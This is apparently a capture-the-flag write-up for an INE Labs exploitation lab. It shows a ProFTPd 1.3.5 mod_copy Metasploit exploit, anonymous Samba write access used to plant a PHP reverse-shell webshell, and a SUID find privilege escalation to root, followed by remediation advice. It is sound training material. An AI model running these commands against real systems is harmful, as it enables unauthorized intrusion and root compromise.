cd ..
2025-11-30 / Log: ctf3_exploitation

Exploitation CTF 3

Host: INE Labs Diff: [HARD]
#ProFTPd#mod_copy#Samba#smbclient#Webshell#SUID#GTFOBins#Privilege Escalation#CTF

CTF Report: Exploitation III

Classification: Host & Network Penetration Testing / Exploitation
Target 1: target1.ine.local (192.125.132.3) — ProFTPd 1.3.5, Apache
Target 2: target2.ine.local (192.125.132.4) — Samba, Apache (Ubuntu)
Attacker: 192.125.132.2 (Kali)
Objective: Enumerate both targets and capture four flags (md5 format).

1. Executive Summary

Target 1 runs ProFTPd 1.3.5, exploitable via the mod_copy RCE for a shell and the first flag; a secret service bound to localhost:8888 yields the second. Target 2 exposes a passwordless, writable Samba share (site-uploads) mapped to the web root — dropping a PHP webshell there gives a www-data shell and the third flag — and a SUID find binary (GTFOBins) escalates to root for the fourth.

2. Target 1 — Recon

ping -c 4 target1.ine.local    # 192.125.132.3
db_nmap -sV 192.125.132.3

Ping target 1

MSF global variables

nmap (1)

nmap (2)

nmap (3) — ProFTPd 1.3.5, Apache

3. Flag 1 — ProFTPd mod_copy RCE

searchsploit ProFTPD 1.3.5
use exploit/unix/ftp/proftpd_modcopy_exec
set RHOSTS 192.125.132.3
set SITEPATH /var/www/html
exploit

Searchsploit — ProFTPd 1.3.5 mod_copy

Selecting the module

A command shell opens; we upgrade it to Meterpreter.

mod_copy — shell session

Upgrading the session (1)

Upgrading the session (2)

The first flag is in /.

Flag 1: 393956223883444298ac75fac0efc4fd

Flag 1

4. Flag 2 — Local Secret Service (8888)

Enumerating listeners reveals a service bound to 127.0.0.1:8888.

netstat -tuln 127.0.0.1       # 127.0.0.1:8888 LISTEN

netstat — local service on 8888

Connecting to it and supplying the passphrase hinted earlier.

nc 127.0.0.1 8888
# Enter the secret passphrase: letmein
Flag 2: f33fa69af956478f898459ba3f843997

nc 127.0.0.1 8888 — flag 2

5. Target 2 — Recon

ping -c 4 target2.ine.local    # 192.125.132.4
db_nmap -sV 192.125.132.4

Ping target 2

MSF global variables (target 2)

nmap (1)

nmap (2)

nmap (3)

Enumerating with enum4linux.

enum4linux -a 192.125.132.4

enum4linux — known usernames

6. Flag 3 — Writable Samba Share → Webshell

Share enumeration shows site-uploads.

Share enumeration — site-uploads

It accepts root with no password and is writable (mapped to the web root).

smbclient //192.125.132.4/site-uploads
# Password: (blank)

Accessing site-uploads with no password

Preparing a PHP reverse shell and uploading it to the share.

Reverse shell config (1)

Reverse shell config (2)

smb: \> put shell.php

Uploading the webshell

Triggering it through the web server catches a www-data reverse shell; the third flag is in /.

Flag 3: e539ae9a8eff4846806736b744c460ee

Executing the webshell

Reverse shell obtained

7. Flag 4 — SUID find (GTFOBins) → root

Searching for SUID binaries.

find / -perm -4000 2>/dev/null      # includes /usr/bin/find

SUID binaries — find is SUID

Per GTFOBins, a SUID find can spawn a privileged shell.

GTFOBins — find SUID escalation

find . -exec /bin/bash -p \; -quit
whoami            # root
cd /root
cat flag4.txt
# FLAG4{acf5daf7d22a4da696ed0555db1f2ab6}

SUID find → root → flag 4

8. Remediation Recommendations

  1. Upgrade ProFTPd past 1.3.5 and disable mod_copy (SITE CPFR/CPTO).
  2. Lock down the secret/local service — don’t rely on hard-coded passphrases; bind only where needed.
  3. Fix Samba — no anonymous/guest write, require authentication, and never map a writable share to the web root.
  4. Remove unnecessary SUID bits (find, etc.) and apply least privilege to break GTFOBins escalation paths.